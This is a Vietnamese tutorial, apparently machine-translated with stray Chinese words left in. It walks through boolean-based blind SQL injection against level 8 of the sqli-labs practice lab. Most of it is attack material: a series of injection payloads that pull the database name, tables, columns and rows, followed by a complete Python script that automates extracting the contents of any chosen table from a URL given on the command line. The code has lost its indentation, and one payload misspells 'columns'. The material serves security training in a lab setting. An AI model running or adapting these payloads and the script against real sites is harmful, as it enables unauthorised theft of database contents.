Giới thiệu
Khi thực hiện tấn công SQL injection, nếu không thể thực hiện union-based injection hoặc các phương pháp khác dựa trên lỗi, chúng ta cần xem xét đến injection mù (blind injection). Trong quá trình thực hiện injection mù, chúng ta cần dựa vào phản hồi của trang (boolean blind injection) hoặc thời gian phản hồi (time-based blind injection) để đoán từng ký tự một. Nếu thực hiện thủ công, công việc này sẽ rất tốn thời gian. Vì vậy, bài viết này sẽ sử dụng Python để viết một kịch bản tự động hóa quá trình đoán, với mục tiêu là关卡 thứ tám trong sqli-labs.
Các payload liên quan đến injection mù
Trước khi viết kịch bản, cần hiểu rõ quy trình của injection mù để không bị rối思路. Dưới đây là ví dụ với关卡 thứ tám trong sqli-labs:
Lấy độ dài cơ sở dữ liệu
127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23
Lấy tên cơ sở dữ liệu
substr: hàm cắt chuỗi, bắt đầu từ vị trí đầu tiên, cắt một ký tự
Kết hợp lại, chúng ta cắt ký tự đầu tiên của tên cơ sở dữ liệu và kiểm tra giá trị ascii của nó có bằng 115 không. Nếu đúng, trang sẽ trả về bình thường.
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23
Lấy số lượng bảng trong cơ sở dữ liệu
127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23
Lấy độ dài tên bảng
Lưu ý về limit, tham số đầu tiên là bắt đầu từ dòng nào (tối thiểu là 0), tham số thứ hai là lấy bao nhiêu dòng. Ở đây 1 có nghĩa là một dòng.
127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23
Lấy tên bảng
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23
Lấy số lượng cột trong bảng
127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23
Lấy độ dài của cột
127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23
Lấy tên cột của bảng
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23
Lấy số lượng dữ liệu trong cột
127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23
Lấy độ dài dữ liệu trong cột
127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23
Lấy dữ liệu trong cột
127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23
Giải thích các hàm trong kịch bản injection mù
Đầu tiên, chúng ta viết hàm chính để gọi các hàm khác:
# Hàm chính cho injection mù
def BatDauQuanLySQL(url):
LayTenCSDL(url)
print("[+] Tên cơ sở dữ liệu hiện tại: {0}".format(TenCSDL))
LayBangTrongCSDL(url, TenCSDL)
print("[+] Các bảng trong cơ sở dữ liệu {0}:".format(TenCSDL))
for i in range(len(DanhSachBang)):
print("(" + str(i + 1) + ")" + DanhSachBang[i])
chiSoBang = int(input("[*] Vui lòng nhập số thứ tự của bảng cần xem:")) - 1
LayCotTrongBang(url, TenCSDL, DanhSachBang[chiSoBang])
while True:
print("[+] Các cột trong bảng {0}:".format(DanhSachBang[chiSoBang]))
for i in range(len(DanhSachCot)):
print("(" + str(i + 1) + ")" + DanhSachCot[i])
chiSoCot = int(input("[*] Vui lòng nhập số thứ tự của cột cần xem (nhập 0 để thoát):")) - 1
if(chiSoCot == -1):
break
else:
LayDuLieuTrongCot(url, DanhSachBang[chiSoBang], DanhSachCot[chiSoCot])
Tiếp theo, chúng ta cần lấy tên cơ sở dữ liệu và lưu kết quả vào biến TenCSDL:
# Hàm lấy tên cơ sở dữ liệu
def LayTenCSDL(url):
# Sử dụng biến toàn局 TenCSDL
global TenCSDL
print("[-] Bắt đầu lấy độ dài cơ sở dữ liệu")
# Biến lưu độ dài cơ sở dữ liệu
doDaiCSDL = 0
# Payload để kiểm tra độ dài cơ sở dữ liệu
payload = "' and if(length(database())={0},1,0) %23 "
# Nối url và payload để có url cuối cùng
urlMucTieu = url + payload
print(urlMucTieu)
# Dùng vòng lặp để lấy độ dài cơ sở dữ liệu
for doDaiCSDL in range(1,99):
# Gán giá trị cho payload để đoán
phanHoi = ketNoi.get(urlMucTieu.format(doDaiCSDL))
# Kiểm tra flag có trong trang trả về không
if dauHieu in phanHoi.content.decode("utf-8"):
print('[+] Độ dài cơ sở dữ liệu: '+ str(doDaiCSDL))
break
print("[-] Bắt đầu lấy tên cơ sở dữ liệu")
# Payload để lấy tên cơ sở dữ liệu
payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
urlMucTieu = url + payload
# a là vị trí cắt của hàm substr()
for a in range(1,doDaiCSDL+1):
# b là các ký tự có thể hiển thị trong ascii từ 33~126
for b in range(33,127):
phanHoi = ketNoi.get(urlMucTieu.format(a,b))
if dauHieu in phanHoi.content.decode("utf-8"):
TenCSDL += chr(b)
print("[-]" + TenCSDL)
break
Khi đã có tên cơ sở dữ liệu, chúng ta có thể đoán tên bảng và lưu kết quả vào dạng danh sách DanhSachBang:
# Hàm lấy các bảng trong cơ sở dữ liệu
def LayBangTrongCSDL(url, tenCSDL):
global DanhSachBang
# Biến lưu số lượng bảng
soLuongBang = 0
print("[-] Bắt đầu lấy số lượng bảng trong cơ sở dữ liệu {0}:".format(tenCSDL))
# Payload để lấy số lượng bảng
payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
urlMucTieu = url + payload
# Bắt đầu lấy số lượng bảng
for soLuongBang in range(1,99):
phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,soLuongBang))
if dauHieu in phanHoi.content.decode("utf-8"):
print("[+] Số lượng bảng trong {0}: {1}".format(tenCSDL,soLuongBang))
break
print("[-] Bắt đầu lấy các bảng trong {0}".format(tenCSDL))
# Biến tạm thời lưu độ dài tên bảng
doDaiTenBang = 0
# a là chỉ số của bảng đang lấy
for a in range(0,soLuongBang):
print("[-] Đang lấy tên bảng thứ {0}".format(a+1))
# Đầu tiên lấy độ dài tên bảng hiện tại
for doDaiTenBang in range(1,99):
payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
urlMucTieu = url + payload
phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,a,doDaiTenBang))
if dauHieu in phanHoi.content.decode("utf-8"):
break
# Bắt đầu lấy tên bảng
# Biến tạm thời lưu tên bảng
tenBang = ""
# b là vị trí đoán tên bảng (substr)
for b in range(1,doDaiTenBang+1):
payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
urlMucTieu = url + payload
# c là các ký tự có thể hiển thị trong ascii từ 33~126
for c in range(33,127):
phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,a,b,c))
if dauHieu in phanHoi.content.decode("utf-8"):
tenBang +=chr(c)
print(tenBang)
break
# Thêm tên bảng vào DanhSachBang
DanhSachBang.append(tenBang)
# Xóa tenBang để tiếp tục lấy bảng tiếp theo
tenBang = ""
Dựa trên tên cơ sở dữ liệu và tên bảng đã lấy ở trên, chúng ta lấy các cột trong bảng và lưu kết quả vào dạng danh sách DanhSachCot:
# Hàm lấy các cột trong bảng
def LayCotTrongBang(url, tenCSDL, tenBang):
global DanhSachCot
# Biến lưu số lượng cột
soLuongCot = 0
print("[-] Bắt đầu lấy số lượng cột trong bảng {0}:".format(tenBang))
for soLuongCot in range(99):
payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
urlMucTieu = url + payload
phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,tenBang,soLuongCot))
if dauHieu in phanHoi.content.decode("utf-8"):
print("[-] Số lượng cột trong bảng {0}: {1}".format(tenBang,soLuongCot))
break
# Bắt đầu lấy tên các cột
# Biến tạm thời lưu tên cột
tenCot = ""
# a là chỉ số của cột đang lấy
for a in range(0,soLuongCot):
print("[-] Đang lấy tên cột thứ {0}".format(a+1))
# Đầu tiên lấy độ dài tên cột
for doDaiTenCot in range(99):
payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
urlMucTieu = url + payload
phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,tenBang,a,doDaiTenCot))
if dauHieu in phanHoi.content.decode("utf-8"):
break
# b là vị trí đoán tên cột
for b in range(1,doDaiTenCot+1):
payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
urlMucTieu = url + payload
# c là các ký tự có thể hiển thị trong ascii từ 33~126
for c in range(33,127):
phanHoi = ketNoi.get(urlMucTieu.format(tenCSDL,tenBang,a,b,c))
if dauHieu in phanHoi.content.decode("utf-8"):
tenCot += chr(c)
print(tenCot)
break
# Thêm cột vào DanhSachCot
DanhSachCot.append(tenCot)
# Xóa tenCot để tiếp tục lấy cột tiếp theo
tenCot = ""
Sau đó, chúng ta có thể lấy dữ liệu. Dựa trên URL, tên bảng và tên cột để lấy dữ liệu. Dữ liệu được lưu dưới dạng dictionary với khóa là tên cột và giá trị là danh sách dữ liệu:
# Hàm lấy dữ liệu trong bảng
def LayDuLieuTrongCot(url, tenBang, tenCot):
global DuLieuCot
# Đầu tiên lấy số lượng dữ liệu trong cột
soLuongDuLieu = 0
print("[-] Bắt đầu lấy số lượng dữ liệu trong bảng {0}, cột {1}".format(tenBang,tenCot))
for soLuongDuLieu in range(99):
payload = "' and if((select count({0}) from {1})={2},1,0) %23"
urlMucTieu = url + payload
phanHoi = ketNoi.get(urlMucTieu.format(tenCot,tenBang,soLuongDuLieu))
if dauHieu in phanHoi.content.decode("utf-8"):
print("[-] Số lượng dữ liệu trong bảng {0}, cột {1}: {2}".format(tenBang,tenCot,soLuongDuLieu))
break
for a in range(0,soLuongDuLieu):
print("[-] Đang lấy dữ liệu thứ {0} của cột {1}".format(a+1,tenCot))
# Đầu tiên lấy độ dài dữ liệu này
doDaiDuLieu = 0
for doDaiDuLieu in range(99):
payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
urlMucTieu = url + payload
phanHoi = ketNoi.get(urlMucTieu.format(tenCot,tenBang,a,doDaiDuLieu))
if dauHieu in phanHoi.content.decode("utf-8"):
print("[-] Độ dài dữ liệu thứ {0}: {1}".format(a+1,doDaiDuLieu))
break
# Biến tạm thời lưu nội dung dữ liệu
duLieu = ""
# Bắt đầu lấy nội dung dữ liệu cụ thể
# b là vị trí đoán nội dung dữ liệu
for b in range(1,doDaiDuLieu+1):
for c in range(33,127):
payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
urlMucTieu = url + payload
phanHoi = ketNoi.get(urlMucTieu.format(tenCot,tenBang,a,b,c))
if dauHieu in phanHoi.content.decode("utf-8"):
duLieu +=chr(c)
print(duLieu)
break
# Thêm vào dictionary với khóa là tên cột, giá trị là danh sách
DuLieuCot.setdefault(tenCot,[]).append(duLieu)
print(DuLieuCot)
# Xóa duLieu để tiếp tục lấy dữ liệu tiếp theo
duLieu = ""
Cuối cùng, viết hàm chính và truyền vào URL:
# Điểm khởi động, hàm chính
if __name__ == '__main__':
phanTich = optparse.OptionParser('sử dụng: python %prog -u url \n\n' 'Ví dụ: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
# Tham số URL mục tiêu -u
phanTich.add_option('-u','--url',dest='urlMucTieu',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='URL mục tiêu')
(thamSo, danhSachThamSo) = phanTich.parse_args()
BatDauQuanLySQL(thamSo.urlMucTieu)
Tổng kết
Vậy là chúng ta đã hoàn thành kịch bản tự động hóa cho tấn công SQL injection mù. Nếu có bất kỳ lỗi nào, xin vui lòng chỉ ra.